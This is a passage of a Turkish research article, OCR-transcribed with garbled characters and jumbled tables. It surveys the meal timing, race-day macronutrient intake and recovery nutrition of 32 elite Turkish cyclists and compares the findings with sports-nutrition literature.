fazladir. A, B, C, E vitamini, demir, kalsiyum, sodyum, potasyum gibi minerallerin dengeli ve
yeterli miktarlarda tiiketilmesi, hem saglik hem de sportif performans agisindan 6nem ihtiva
etmektedir (Burke ve Deakin, 2010; McArdle ve ark., 2015).

Nitekim beslenme, sporcularin enerji ve besin 6gesi gereksinimlerini karsilayabilmek
icin gereklidir. Sportif performansin korunmasi ve gelistirilmesi, viicut glikojen depolarinin

korunmasi ve artirtlmasi, kas protein yikiminin Onlenmesi amaciyla bilingli beslenme
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programlar1 hazirlanmalidir. Sporcunun antrenman ya da miisabaka esnasinda optimum
performansi gosterebilmesi icin egzersiz Oncesi karbonhidrat depolarinin yeterli diizeyde
olmasi, egzersiz sirasinda uzun siireli performansi siirdiiriilebilmesi, performans kaybinin
Onlenmesi, egzersiz sonrasi toparlanmanin saglanmasi ve kas doku kaybinin Onlenmesi
amaciyla gerekli saglikli beslenme aligkanliginin saglanmasi gerekmektedir (Karagoéz ve
Sanlier, 2018). Ozellikle bisiklet sporunda, elit diizeyde miicadele edebilmek uzun siireli
antrenmanlara ve giin asir1 yariglara iist diizeyde hazirlik ve adaptasyon gerektirmektedir.
Antrenmanlarda ve yarislarda yliksek verim diizeyine ulasmak ve verimi korumak i¢in giincel
antrenman ilkelerine bagl kalinarak yapilan yiiklenmeler kadar, antrenmanlara ve yarismalara
yonelik beslenme ve toparlanma stratejileri de oldukg¢a 6nemlidir. Bu baglamda bu ¢alismanin
amaci, lilkemizde uluslararasi diizeyde bisiklet yarismalarina katilan sporcularin yarigmaya
yonelik beslenme ve toparlanma davranislarini belirlemek, varsa eksiklikleri tespit etmek ve

Onerilerde bulunmaktir.

Materyal ve Metod

Arastirma Etigi
Calismanin yiiriitiilmesi igin “Canakkale Onsekiz Mart Universitesi, Lisansiistii
Enstitiisii”, Bilimsel Aragtirma Etik Kurul’undan 03.02.2022 tarih ve 03/31 sayili karar ile

etik onay alinmistir.

Arastirma Modeli

Arastirmada betimsel yontem kullanilmistir. Betimsel arastirma yontemi, herhangi bir
durum, olay ve problemi etraflica tanimlamak, yorumlamak ve irdelemek icin kullanilir ve
oOlgiitler belirleyerek incelenen olaylar ve degiskenler arasinda iligkinin varligi ve derecesi
sorgulanir. Betimsel arastirmalarda, aragtirmanin inceledigi mevcut ortam bozulmaz, farkli bir
ortam olusturulmaya c¢alisilmaz. Tarama yontemi betimsel bir yontemdir ve orneklemle

calisip evren hakkinda anketlerle ¢ikarimlar yapmaya yarar (Cepni, 2010).

Calisma Grubu

Aragtirmaya Tiirkiye Bisiklet Federasyonu’nda lisansli, uluslararasi yarigmalara katilan,

tilke sampiyonasinda ilk siralarda yer alan, 19 erkek ve 13 kadin, toplam 32 sporcu goniillii
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olarak katilmistir. Katilimcilar, haftada en az 5 giin, 16 saat antrenman yapan, uluslararasi
miisabakalara katilan sporculardan olugmaktadir.

Sporcularin demografik bilgileri incelendiginde, katilimcilarin %59,4’u erkek (n=19),
%40,6’s1 kadindir (n=13). Katilimcilarin yas, viicut agirligi, boy uzunlugu, beden kiitle
indeksleri (BKI), bel, kal¢a, quadriceps kasi cevresi ve bel-kalca oram1 gibi fiziksel
ozelliklerine dair Ol¢im sonuglari, cinsiyete gore degerlendirilerek Tablo 1°de verilmistir.
Tablodaki bulgulara gore, katilimcilarin fiziksel 6zellikleri incelendiginde erkek sporcularin
ortalama 17,58+1,38 yil yas, 174,34+4,87 cm boy, 65,37+3,66 kg agirlik, 21,52+1,28 kg/m?
BKI oranina; kadin sporcularn ise ortalama 19,46+2.,81 yil yas, 160,58+5,02 cm boy,
55,79+5,98 kg agirlik, 21,65 +2,30 kg/m? BKI oranina sahip oldugu goriilmektedir.

Tablo 1. Cinsiyete gore katilimeilarin genel fiziksel karakteristik 6zellikleri

Degisken Ort - Ss Min Max

Kadin Erkek Kadin Erkek Kadin Erkek

Fiziksel Olgiimler

Yas (y1l) 19,46+2,81 17,58+1,38 17 17 26 23
Boy (cm) 160,58+5,02 174,34+4,87 150,50 167 167 183

Agirlik (kg) 55,79+5,98 65,3743,66 44,75 58,25 68,65 70,20
BKI (kg/(cm?) 21,65 42,30 21,52+1,28 17,70 18,19 25,39 23,86

Cevre Olciimleri

Bel (cm) 69,42+4,58 73,3942,58 62,00 67,00 78,5 78,00
Kalga (cm) 93,92+5,99 91,71+3,39 85,00 82,00 109,0 97,0
Bel/Kalga Orani 0,74+0,54 0,80 0,03 0,63 0,74 0,83 0,91
Quadriceps?(cm) 46,69+4,05 43,704+2,70 39,00 39,50 51,00 49,50
Quadriceps®(cm) 47,65+3,68 442143,15 40,50 40,00 52,50 50,50

2) kas rahat iken °) kas kasili iken alinan gevre dlciimleridir.

Cevre Olclimleri incelendiginde; erkek sporcularin ortalama 73,39+2,58 cm bel,
91,71+£3,39 cm kalga, 0,80+0,03 bel-kalga orani, 43,70+2,70 cm quadriceps (rahat),

44,2143,15 cm quadriseps (kasili) ¢evresine sahip oldugu bulunmustur.

Veri Toplama Araci

Bisikletgilerin beslenme aligkanliklarinin belirlenebilmesi i¢in daha once yapilmis
bilimsel ¢aligmalardan yararlanilarak, arastirmacilar tarafindan gelistirilen, 12 kisisel bilgi, 8
genel beslenme aligkanlig1 ve 21 sportif beslenme stratejileri alt bagliklar1 altinda toplam 41

sorudan olusan “Sporcu Beslenme Formu” sporcularin yarig sonrasit dinlenme saatlerinde,
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aciklamalar yapildiktan sonra arastirmacilar tarafindan uygulanmistir. “Sporcu Beslenme
Formu” daha 6nce konuyla ilgili yapilan arastirmalardan elde edilen sorularin, konuya uygun

olanlarininm arastirmacilar tarafindan seg¢ilmesi ile olusturulmustur.

Verilerin Analizi

Aragtirmada elde edilen verilerin istatistiksel hesaplamasi SPSS programi ile
yapilmigtir. Verilerin normalligi “Shapiro Wilk” testi ile degerlendirilmistir. Elde edilen
verilerin frekans ve yiizde degerleri hesaplanarak, sonuglar tanimlayici istatistife gore
yorumlanmistir. Bagimsiz degiskenlere gore alt gruplar arasindaki farkin istatistigi “Ki Kare”

analizi ile degerlendirilerek yorumlanmistir.

Bulgular ve Tartisma
Bisikletcilerin antrenman doneminde genel beslenme ve uyku verileri Tablo 2’de

sunulmustur.

Tablo 2. Sporcularin antrenman déneminde genel beslenme ve uyku verileri

Degisken Ort- Ss Min Max

Ogiin ile ilgili veriler

Sabah 8,00 1,04 6,50 9,00
Ogle 12,45 £1,07 11,00 14,00
Aksam 18,35 +1,24 16,00 20,00

Uyku ile ilgili veriler

Kalkma saati 7,20 +1,10 6,00 9,00
Yatma saati 22,20 +£0,54 21,00 23,50
Toplam uyku siiresi (sa) 9,0+ 1,21 7,25 10,50
Oglen uyku siiresi (dk) 71,54 + 45,06 30,00 180

Katilimcilarin - giindelik yasantilarindaki 6g8iin verilerine bakildiginda, giin iginde
diizenli olarak ii¢ 6giine sahip olduklari; sabah kahvaltisin1 ortalama saat 8:00°da, 6glen
yemeklerini saat 12:45°te, aksam yemeklerini ise saat 18:30’da aldiklar1 belirlenmistir. Uyku
ile ilgili verilere bakildiginda; sporcularin giinliik toplam 9-10 saate yakin gece uykusu ve
yaklagik 1-2 saat 6glen uykusu olmak {izere, giin i¢inde toplam 10-11 saat uyku uyuduklari
tespit edilmistir. Bisiklet¢ilerin antrenman donemindeki genel beslenme davranisglar ile ilgili

farkin istatistigi Tablo 3’°te sunulmustur.
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Tablo 3. Sporcularin antrenman dénemindeki genel beslenme davraniglari istatistigi

Degisken f % X2 P

Ogiin ile ilgili veriler

. 2 4 12,5
Ana Ogiin 17,065 0,000*
3 27 84,4
Hig 1 31
Ara Ogiin 1 12 37,5 0,438 0,804
>2 11 344
) Evet 22 68,8 4,500 0,034*
Ogiinler diizenli mi?
Hayir 10 31,3
) Evet 13 40,6
Ogiin atlama 1,125 0,289
Hayir 19 59,4
Sabah 5 15,6
Ogle 7 21,9 14,533 0,002*
Hangi 6giinii atlarsiniz
Aksam 2 6,3
Higbiri 16 50,0

Disarda yeme aliskanhg@ ile ilgili veriler

Evet 28 87,5
Disarida yeme sikligt
Hayir 4 12,5 18,000 0,000*
Kahvalti 1 3,1
Ogle 15 46,9 16,250 0,001*
Disarda yenen 6glin
Aksam 12 37,5
Higbiri 4 12,5
Evet 9 28,1
Disarida fast food yer misiniz?
Hayir 23 71,9 6,125 0,013*
D1s kaynaklar 15 46,9
Beslenme plani kaynagi 0,125 0,724
Hayir 23 71,9

*P<0,05

Arastirma bulgularina gore, biiyliik oranda bisiklet¢inin (%68,8) 6giinlerini diizenli
aldig1 ve ogiinlerini diizenli alanlarin almayanlara gore anlamli diizeyde daha fazla oldugu
(P=0,034) tespit edildi. Sporcularin %59,4’{iniin 6giin atlamadigi, 6giin atlayan sporcularin da
genellikle 6gle 6gliniinii atladig tespit edilmistir. Sporcularin giinliik ana 6giin sayilarinin 2
veya 3 oldugu; %84,4 oraninda bisiklet¢inin 3 ana 6gilin aldig1; ana 6giin sayisi fazla olan
sporcularin lehine, gruplar arasinda anlamli fark oldugu tespit edilmistir (P=0,000). Ana

ogline ek olarak, sporcularin %37,5’inin 1 ara 6giin, %34,4’{iniin ise iki ve daha fazla ara
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ogiin aldiklar1 gozlemlenmis; ara 6glin alma sayisina gore gruplar arasinda anlamli fark
olmadig1 tespit edilmistir (P=0,804). Sporcularin disarida yemek yeme aligkanliklar
incelendiginde bisikletgilerin %87,5 oraninda disarida yemek yeme aligkanligi oldugu
goriilmektedir. Disarida hi¢ yemek yemeyen sporcularin orant %12,5 olarak bulunmus;
disarida yemek yeme aliskanligi olan bisiklet sporcularinin lehine gruplar aras1 anlamli fark
oldugu tespit edilmistir (P=0,000). Bisikletcilerin disarida yemek yedikleri 6giinlerin
cogunlukla 6gle (%46,9) ve aksam yemekleri (%37,5) oldugu, bisiklet¢ilerin kahvalti
Ogliniinii disarida yemedikleri sonucuna ulasilmis; disarida yenen 6giin bakimindan gruplar
arasinda anlamli fark oldugu tespit edilmistir (P=0,001). Bisikletgiler, beslenme ile ilgili
planlama kaynagi olarak %53,1 oraninda kendileri; %46,9 oraninda antrenér, aile, arkadas
oldugunu belirtmislerdir. Sporcularin yarigsma giinii yarigtan sonra tiikettikleri yiyecek ve

iceceklerin miktar1 ve zamanlamast ile ilgili veriler Tablo 4’te sunulmustur.

Tablo 4. Sporcularin yarisma giinii yaris sonrasi beslenme davraniglar

Degisken n Ort+Ss Min Max

Tiiketim zamanlamasi
Yaristan sonra i¢ecek (dk) 32 48,0+ 41,0 10,00 180,00
Yaristan sonra yiyecek (dk) 32 78,5+ 48,6 10,00 180,00

Tiiketim miktar:

Yaris i¢i sivi miktar1 (mL) 24 292,77+ 1554 50,00 500,00
Karbonhidrat miktari(g) 19 241,9+192,9 15,00 600,00
Protein miktari(g) 19 46,0 + 29,1 10,00 100,00
Yag miktari (g) 9 13,3+7,0 10,00 30,00

Aragtirma bulgularina gore, bisikletcilerin yarigtan sonra ortalama 48+41 dk icinde
icecek, ortalama 78,5+48,6 dk icinde yiyecek tiikettikleri saptanmistir. Sporcularin yaris
sonrasi 10’uncu dakikadan itibaren beslenmeye baslayip, liclincii saate kadar farkli saatlerde
beslenme davramis1 gosterdikleri tespit edilmistir. Ancak bisikletcilerin - ¢ogunlukla
yarigsmadan sonra ilk 1 saat 15 dk igerisinde, karbonhidrat agirlikli beslendikleri tespit
edilmistir. Yaris sonrasi tiiketilen makro besin 6geleri miktarlarina bakildiginda, ortalama
241,9+192,9 ¢ karbonhidrat, 46,0+29,1 g protein, 13,3+7,0 g yag oldugu belirlenmistir.
Bisikletcilerin %28’inin yarigma sonrasi beslenmede yag tiikettigi, geri kalanin tiiketmedigi
de ayrica bulgularda dikkati gekmektedir. Yaris ici tliketilen sivi miktarinin ise 15 km veya 15
dakika icin ortalama 292,7+155,4 ml oldugu tespit edilmistir. Yarig giinii sporcularin

beslenmeleri ile ilgili makro besin aliminin ylizdelik dagilimi Sekil 1°de verilmistir.
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Yaris giinii makro besin aliminin yiizde dagilim

90 81,3
80 71,9
70 62,5

Yarisma Yaris oncesi Miisabaka ~ Hemen Yaristan Yaris Yaristan 3 Yaristan bir
sabahi oglen sonra  hemen sonra sonrasi ana Saat sonra  giin sonra
atistirmalik oglin

ECHO = Protein mKarma

Sekil 1. Yaris giinli makro besin aliminin yiizde dagilimi

Sekil 1’deki verilere gore, bisikletgiler yarisma Oncesinde ve yaristan kisa silire sonra
agirlikli olarak karbonhidrat agirlikli beslenirken, yarisma sonrasi belli bir siire sonra karma
agirlikl olarak beslenmektedirler. Yarisma sabahi hem karbonhidrat (9%53,1) hem de karma
(%40,6) beslenen sporcular mevcuttur, fakat protein agirlikli tiiketim (%6,3) fazla tercih
edilmemektedir. Yaris oncesi 6giinde beslenme karbonhidrat agirlikli iken (%53,1), karma
beslenme bu orana yakin olup (%28,1), bisikletgilerin protein tiiketimi yarigsma sabahina gore
artis gostermektedir (%18,8). Yarigmadan {i¢ saat sonraki 6giinde bisikletcilerin %251
karbonhidrat agirlikli, %34,4‘u karma, %21,9’u protein agirlikli beslenmektedirler.
Yarismadan bir giin sonra oOglinlerinde %40,6’sinin  karma, %18,8’inin karbonhidrat,
%15,6’sin1n protein agirlikli beslendigi goriilmektedir. Sonug olarak {ist diizey bisiklet sporu
yapan kadin ve erkek bisikletcilerin yarisma sabahi, yaristan hemen sonra atistirma, yarig
sonras1 ana 0giin ve yaristan ii¢ saat sonraki 6giinde karbonhidrat agirlikli, yarigsmadan bir giin
sonrasinda karma agirlikli beslendikleri tespit edilmistir. Bisiklet¢ilerin yaris i¢i ve yaris
gecesi ile ilgili beslenme davraniglar1 Tablo 5’te gosterilmistir. Tablo 5°te verilen bilgiler
1s181inda, bisikletciler yarigmada ¢ogunlukla muz, enerji jeli ve enerji bar1 tiiketmekte olup,
sirastyla bisikletgilerin %52,5°1 enerji jeli ve bari, %37,5’1 muz tiikettigini bildirmislerdir.
Sporcularin yaris sirasinda ihtiyag duyduklart sivi miktarinin, yarigin toplam siiresine ve
toplam mesafeye gore degisiklik gosterdigi sonucuna ulasilmistir. Yol bisikleti agirlikli
yarigan sporcularin (%50) mesafeye gore, dag bisikleti agirlikli yarisan sporcularin (%50) ise
stireye gore sivi miktarini belirledikleri saptanmistir. Sporcularin %68,8’inin  beslenme
durumlarinin yarisin zorluguna gére anlamli derecede degistigi (P=0,013), %65,6’sinin ise

yarig Oncesi gece yemek yeme beslenme aliskanliginin oldugu tespit edilmistir.
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Tablo 5. Sporcularin yarig i¢i ve yarig gecesi ile ilgili beslenme davraniglar

Degisken f % X2 P

Yaris ici beslenme ile ilgili veriler
Muz 12 37,5

Yaris ici beslenme o 2,000 0,157
Enerji jeli-bar1 20 52,5
Siireye gore 16 50,0

. . . . 0,000 ,

Sivi miktari belirleme yontemi Mesafeye gore 16 50.0 1,000

Yarnis zorluguna gore beslenme Evet 23 68,8

durumu Hayir 9 281 6,125 0,013*
Evet 21 65,6

Yaris oncesi gece yeme i¢cme 3,125 0,077
Hayir 11 34,4

*P<0,05

Sporcularin yaris i¢i beslenme tercihlerinin genis dagilimi Sekil 2°de sunulmustur.

100
80
60
40
20

93,8

Bisikletcilerin yaris i¢i beslenme tercihlerinin dagilimm

93,8

Yarisma i¢i beslenme tercihleri

6,3 3,1

21,9

mSu
Muz

m Enerji jeli

m Kola

m Sekerleme
Enerji icecegi

Kuru meyve

Sekil 2. Bisikletgilerin yaris i¢i beslenme tercihlerinin dagilimi

Bisiklet¢ilerin  yaris

sporcularin yaris icerisinde su, muz, enerji jeli, kola, sekerleme, enerji igecegi ve kuru meyve
gibi besinlerin tiikettigi sonucuna ulasilmistir. Sekil 2°deki bilgilere gore, bisikletcilerin

%93,8’inin su-muz, %46,9’unun kuru meyve, %31,3’linlin enerji jeli, %21,9’unun enerji

icecegi,

Bisikletcilerin yarisma sonrasi atistirmalik, ana 6glin ve birbirini takip eden &giinlerde

%6,3’uniin kola ve

tukettikleri

besinler genis kapsamda

%3,1’inin  sekerleme tercih ettikleri tespit edilmistir.

gosterdikleri beslenme davraniglarina ait farkin ki kare analizi Tablo 6‘da sunulmustur.
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Tablo 6. Bisiklet¢ilerin yarigma sonrasi beslenme davraniglar ile ilgili ki kare analizleri

Degisken f % X2 P
Karbonhidrat agirlikli 27 84,4
Yaristan hemen 15125 0,000*
sonra atistirmalik Protein agirlikh 5 15,6
Karbonhidrat agirlikli 7 21,9
Yanistan - hemen -, i agirlikl 5 15,6
sonra 6giin 12,438 0,002*
Karma agirlikli 20 62,5
Karbonhidrat agirlikli 17 53,1
}(:af'lstan sonra - ana Protein agirlikl 6 18,8 6,063 0,048*
6giin
Karma agirlikli 9 28,1
Karbonhidrat agirlikli 14 43,8
Protein agirlikli 7 21,9 2,312 0,315
Yaristan 3 saat sonra
Karma agirlikli 11 34,4
Karbonhidrat agirlikli 8 25,0
Yaristan 1 giin sonra  Protein agirlikli 5 156 10,188 0,006*
Karma agirlikli 19 59,4

*P<0,05

Tablo 6’ya gore, bisikletcilerin %84,4’{inlin yarismadan hemen sonra karbonhidrat
agirlikli, %15,6’smin ise protein agirlikli atistirma yaptiklar: ve gruplar arasinda, karbonhidrat
agirlikl beslenenler lehine anlamli fark oldugu tespit edilmistir (P=0,000). Yaristan hemen
sonraki beslenme aligkanlig1 incelendiginde, bisikletcilerin %62,5’inin karma, %21,9’unun
karbonhidrat, %15,6’sinin protein agirlikli beslendigi ve makro besin frekanslarina gore
gruplar arasinda karma beslenme lehine anlamli fark oldugu bulunmustur (P=0,002). Yaristan
sonra ana Oglinde ise bisiklet¢ilerin %53,1’inin karbonhidrat, %28,1’inin karma, %18,8’inin
protein agirlikli beslendigi ve gruplar arasinda karbonhidrat agirlikli beslenenler lehine
anlamli fark oldugu (P=0,048) tespit edilmistir. Buradan hareketle yaristan sonra ana 6giine
kadar sporcularin atistirma olarak karbonhidrat agirlikli, ana 6giin 6ncesi karma agirlikli, ana
ogilinde ise karbonhidrat agirlikli beslendikleri ve bisiklet sporcularinin tercihlerinin bireysel
olarak birbirinden anlamli derecede farkli oldugu goriilmektedir. Yaristan sonra belli bir siire
gectiginde, sporcularin beslenme tercihlerinin daha da degisiklik gosterdigi dikkati
cekmektedir. Bu dogrultuda, yaristan 3 saat sonra bisikletcilerin %43,8’inin karbonhidrat
agirlikli, %34,4’tintin karma agirhikli, %21,9’unun protein agirlikli beslendigi; ancak bu
tercihler arasinda istatistiksel olarak anlamli fark olmadigi bulunmustur (P=0,315). Yaristan

bir giin sonrasinda ise bisikletcilerin  %59,4’tinliin karma, %25,0’inin karbonhidrat,

115



%15,6’s1m1n protein agirlikli beslendigi; yaristan bir gilin sonraki beslenme tercihleri arasinda
karma beslenme lehine anlamli fark oldugu (P=0,006) tespit edilmistir. Bulgulara gore
bisikletgilerin yarigmadan hemen Once ve hemen sonrasinda karbonhidrat agirlikli
beslendikleri, yaris sonrasi ana 6glinii takip eden Ogiinlerde karma beslenmeye dogru gecis

oldugu goriilmektedir.

Tartisma

Bu calisma iyi antrenman diizeyine sahip, kadin ve erkek bisiklet sporcularinin yariga
yonelik beslenme ve toparlanma davranislarini tespit etmek amaciyla yapildi. Spor yapan
bireylerin; saghgimi koruyarak viicudunu gelistirmesi, yiiksek sportif performansa
ulasabilmesi ve bu seviyeyi koruyabilmesinin yalnizca dengeli, diizenli ve amaca uygun
beslenme stratejileriyle olabilecegi bilinmektedir (Saygin ve ark., 2009). Bu dogrultuda
sporcunun dogru ve dengeli beslenme stratejisi uygulamasi, sportif performansini olumlu
sekilde etkilerken, kotli ve bilingsiz beslenme stratejisi uygulamasi hem antrenman hem de
miisabaka performansini olumsuz yonde etkileyebilir (Yarar ve ark., 2011).

Calismaya katilan sporcularin 6giinlerini diizenli aldiklari, bisikletgilerin % 84,4 {iniin
giinde ii¢ 6gilin beslendigi, % 37,5 inin bir ara 6giin, % 34,4 lniin ise iki ve daha fazla ara
oglin aldig1 tespit edilmistir. Bisikletcilerin %40,6’sinin 6gilin atladigi, atlanilan 6giiniin ise
uzun siiren antrenmanlar sebebiyle genellikle 6gle 6giinii oldugu bildirilmistir. Bisikletcilere
atlanilan 6giiniin 6gle Oglnii olmasi ve ara 68lin alma nedenleri soruldugunda, bisiklet
antrenmanlarinin uzun olmasi, harcanan enerjinin fazla olmasi ve bu enerjinin bir 6giinde
alinmasindansa 6gilin sayisini artirarak sik sik beslenmenin daha etkili oldugunu; ayrica ana
ogiinlerde fazla miktarda besin almanin mide ve barsak sorunlar1 yasattigini bildirmislerdir.
Ogiin sayisinin fazla olmasi, 6zellikle dayaniklilik sporlarinda enerji harcamasinin fazla
olmas1 sebebiyle dnemlidir (Ozdemir, 2002). Bu konuda yapilan bir calismada, giinde bes
Oglin alan bisikletcilerin ii¢ 6glin alan bisikletcilerden daha iyi sportif performans
sergiledikleri; ayrica kisa araliklarla alman diyetin giin boyu toplam verimi artirdig1 rapor
edilmistir (Yarar ve ark., 2011). Ding ve ark., (2017), diizenli fitness yapan bireylerin
beslenme aligkanliklarini inceledigi calismada, katilimcilarin ana Ggiinlerini atlamadiklari;
%81,2’sinin kahvalt1 yaptig1, %92,2’sinin 6gle yemegi yedigi, %97,4’linliin aksam yemegi
yedigi, ara 6giin alanlarin ise %51,3 oraninda oldugunu bildirmislerdir. Ayni sekilde
Ozerson’un (2013) futbolcular iizerinde yaptign calismada, sporcularin %90’1inin  giine
kahvalt1 ile basladigini, 6giin atlayan grubun cogunlukla amator futbolculardan (%28,6)

ziyade profesyonel futbolcular (%70) oldugunu rapor etmistir. Bu ¢alisma sonucunda 6glin
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atlayan amator futbolcularin ¢ogunlukla 6gle 6giliniinii atlamasi (%33,2), mevcut calisma
sonuclart ile ortlismektedir. Bisiklet¢ilerin %15,6’simin kahvalti 6giiniinti atladig1 sonucuna
ulasilmistir; buradan hareketle sporcularin kahvalti 6giinii almasi ile ilgili sonuglarin da
literatiirde amator sporcularin beslenme davraniglari ile benzerlik gosterdigi tespit edilmistir.
Bu sonuglar, sporcularin sportif diizeyine bakilmaksizin beslenme aligkanligimin, tiim
branglardaki sporcularda benzer oldugunu; sporcularin genel olarak ii¢ 6glin beslendikleri,
%350 ve lizeri oranda ara 6giin aldiklar1 ve biiylik oranda sporcularin kahvalt1 6giiniine 6nem
verdigini; sporcularin atladiklar1 6giinlin istendik veya istenmedik nedenlerle 6gle Ogiini
oldugunu gostermektedir.

Egzersiz esnasinda sindirim zorlugu ¢ekmemek igin, spor yapmadan once kolay
sindirilebilir besinlerin tiiketilmesi gerekmekte; bununla birlikte 6giiniin egzersizden ne kadar
stire 6ncesinde alinmasi gerektigi de sportif performansi ortaya koymada énemli noktalardan
biri oldugu bilinmektedir (Karagdz ve Sanlier, 2018). Konuyla ilgili literatiir caligmalarina
gore; cikolatal siit, muz, findik ezmeli sandvic gibi orta veya yiiksek glisemik indekse sahip
besinlerin egzersizden en az bir saat dncesinde (Austin ve Seebohar, 2011), peynirli makarna
ile tavuk sote gibi diisiik glisemik indeksli besinlerin egzersizden en az iki saat veya daha
uzun siire Oncesinde tiiketilmesi Onerilmistir (Jeukendrup ve Baker, 2016). Beslenme
stratejilerinin 6neminin, antrenmandan ziyade yaris performansini ortaya koyabilme agisindan
daha kritik oldugu diisiiniilmektedir. Yaris dncesinde, karbonhidratla birlikte belirli miktarda
protein ve yag tiiketiminin, kandaki glukoz seviyesinde devamlilik sagladigi bilinmektedir
(Austin ve Seebohar, 2011). Konuyla ilgili yapilan bir arastirmaya gore, egzersiz Oncesi
karma besin 6gelerini i¢eren sporcu icecekleri (14 g fruktoz, orta zincirli trigliserit, aminoasit
karisimi ve 240 ml su), sporculara egzersizden 30 dk once plasebo ile birlikte uygulanmis,
calisma sonucunda sporcularin VOzmax ortalama degerinin spor i¢ecegi alanlarda daha yiiksek,
tiikenme stiresinin daha uzun oldugu rapor edilmistir (Byars ve ark., 2010). Bu sonuglar
dogrultusunda uzun siireli egzersiz Oncesinde karma beslenmenin 6nemli oldugu
goriilmektedir. Mevcut ¢alismada, yaris Oncesinde, bisikletcilerin %53,1’inin karbonhidrat,
%28,1’inin karma, %18,8’inin protein agirlikli beslendigi; yaris sabahinda ise yine %53,1
oraninda karbonhidrat, %40,6 oraninda karma, %6,3 oraninda protein agirlikli beslendigi
tespit edilmistir. Bu sonuglarla birlikte, bisikletcilerin %28,1-40,6’sinin bilingli beslenme
stratejisi uyguladigi, bu oranin diisiik olmasindan dolayi, bisiklet sporcular1 ve antrendrlerinin
genel olarak literatiir calismalarindan haberdar olmadiklari, uluslararasi diizeyde bisiklet
sporu yapan Tiirk sporcularin egzersiz oncesi beslenme ile ilgili bilgi eksikliklerinin oldugu

sOylenebilir.
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Kaslarda ve karacigerde bulunan mevcut glikojen depolariin, %65-85 VO2max
diizeyindeki orta-yiiksek yogunluklu bir egzersizde 90-180 dakikada tiikkendigi bilinmektedir
(Potgieter, 2013). Bisiklet yarismalarinda sporcularm ortalama KAH 165-190 atim/dk ve
yarisma siiresinin en az 90 dk oldugu diisiiniildiigiinde, bisiklet sporcularinin yaris igerisinde
glikojen depolariin tamamen tiikenebilecegi ve bu nedenle yarismadan Once glikojen
depolarmin %100 dolu olmasi gerektigi sdylenebilir. Bu dogrultuda dayaniklilik sporculari,
yarisma haftasinda glikojen depolarin1 doldurmak i¢in bilinen en eski yontemlerden biri olan
karbonhidrat yiiklemesi yapmaktadirlar. Karbonhidrat yiiklemesi, yarismadan 5-7 giin 6nce
enerjinin yaklasik %70’inin karbonhidrattan saglandigi beslenme planidir ve yiikleme
yapilmadan once 3-6 giin siireyle glikojen depolar1 bosaltilir. Bu siiregte karbonhidrat alimi
artirilirken fiziksel aktivite oran1 es zamanl olarak azaltilmaktadir ve sonugta 1-3 giin i¢inde
en yliksek glikojen seviyesine ulasiimaktadir (Tipton ve ark., 2001). Yarismalardan 24-36 saat
once 6-12 g/kg karbonhidrat aliminin glikojen depolarini olumlu yonde etkiledigi bildirilmis
(Close ve ark., 2016); 6zellikle uzun siireli ve yiliksek yogunluklu egzersizlerden 1-4 saat
oncesinde ortalama 1-4 g/kg karbonhidrat alinmasi 6nerilmistir (Kerksick ve ark., 2018).

Egzersiz Oncesi beslenmede, dayaniklilik sporculari i¢in yiiksek karbonhidrathi bir
oglinilin yaklasik olarak 90 dk once tiiketilmesinin egzersiz esnasinda performansa olumlu etki
ettigi bilinmekte; ayrica egzersizden hemen 6nce 60-120 ml karbonhidrat igecegi ve 15 dk
araliklarla karbonhidrat bakimindan zengin atistirmaliklar tliketilmesi Onerilmektedir
(Benardot, 2012). Yaris O6ncesi beslenme ile ilgili, arastirmada yer alan bisikletcilerin %53,1°1
karbonhidrat agirlikli, %40,6’s1 karma agirlikli, %6,3’li protein agirlikli beslendiklerini
bildirmislerdir. Bu sonuclarla birlikte bisikletcilerin yarisindan fazlasinin yaris Oncesi
beslenme ile ilgili stratejisinin dogru oldugu tespit edilmis; ancak dogru uygulama yapan
sporcu oraninin ¢ok daha fazla olmasi gerektigi disiiniilmektedir. Bu konuda bisiklet
sporcularina ve antrendrlere diizenli olarak gelisim seminerlerinin verilmesi mevcut
yanliglarin diizelmesini ve dogru uygulama yapan sporcu sayisini artirmayr saglayabilir.
Egzersiz Oncesi beslenme iceriginde makro besin 6gelerinden karbonhidrat disinda, protein
agirlikli beslenmeye 6zgii net bir kilavuz bulunmamaktadir. Ancak bu konuda Uluslararasi
Sporda Beslenme Toplulugu (ISSN), egzersizden 3-4 saat 6nce, kg basina 0,15-0,25 g protein
ile kg basina 1-2 g karbonhidratin birlikte 6giin olarak tiiketilmesini dnermektedir (Kerksick
ve ark., 2018). Bu baglamda egzersiz oncesi karbonhidratin yalnmiz tiiketilmesinden ziyade
proteinle birlikte tiiketilmesinin daha verimli oldugu c¢ikarimi yapilabilir. Bisiklet

sporcularinin, yaris dncesinde makro besin 6gelerinin hepsini tiikettikleri, makro besin 6geleri
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icerisinde karbonhidrat oraninin daha fazla oldugu gozlemlenmistir. Dolayisiyla bisiklet¢ilerin
beslenme davraniglarinin literatiir ile uyumlu oldugu goriilmektedir.

Sporcularin glikojen depolar1 tam olarak dolu olsa dahi 90 dakikay1 asan bir yarismada
mevcut glikojen deposu yeterli olmayabilir. Bu nedenle bisiklet gibi dayaniklilik sporlarinda,
egzersiz 6ncesi beslenmenin énemli oldugu kadar, egzersiz sirasindaki beslenmenin de 6nemli
oldugu bir gergektir. Egzersiz basladiginda anabolik ve katabolik etkili hormonlar, 6zellikle
insiilin ve kortizol miktar1 artamaya baslamaktadir. Insiilin ve glukagonun birbiri iizerine
yaptig1 zit etkiyle kas yikilmasi ger¢eklesmekte ve glikojen depolari bosalmaktadir. Egzersiz
sirasinda besin tiiketimi insiilin seviyesini yiikseltirken, kortizol seviyesini diistirmektedir (Ivy
ve Portman, 2004). Artan insiilin salimmi kortizol iizerine baskilayici etki yaparken,
karbonhidratin hiicreye girisi artmakta ve kas protein sentezi desteklenmektedir (Benardot,
2012). Bu nedenle egzersiz sirasinda Ozellikle karbonhidrat bakimindan zengin kati-sivi
besinlerle beslenme egzersiz performansimi gelistirmektedir (Jeukendrup, 2004). Bu
dogrultuda bisiklet¢ilerin yarisma sirasinda cogunlukla muz, enerji jeli ve enerji bari tiikettigi;
yaris sirasinda ihtiya¢ duyduklart sivi miktarinin, yarisin toplam siiresine ve toplam mesafeye
gore degisiklik gosterdigi; yol bisikleti agirlikli yarisan sporcularin (%50, n=16) mesafeye
gore, dag bisikleti agirlikli yaris kosan sporcularin (%50, n=16) ise siireye gore s1vi miktarini
belirledikleri tespit edilmistir. Sonuglar bisiklet sporcularinin yaris i¢i beslenmede dogru
strateji uyguladiklari; ancak yol bisikleti gibi uzun siireli yiiksek yogunluklu egzersizler igin,
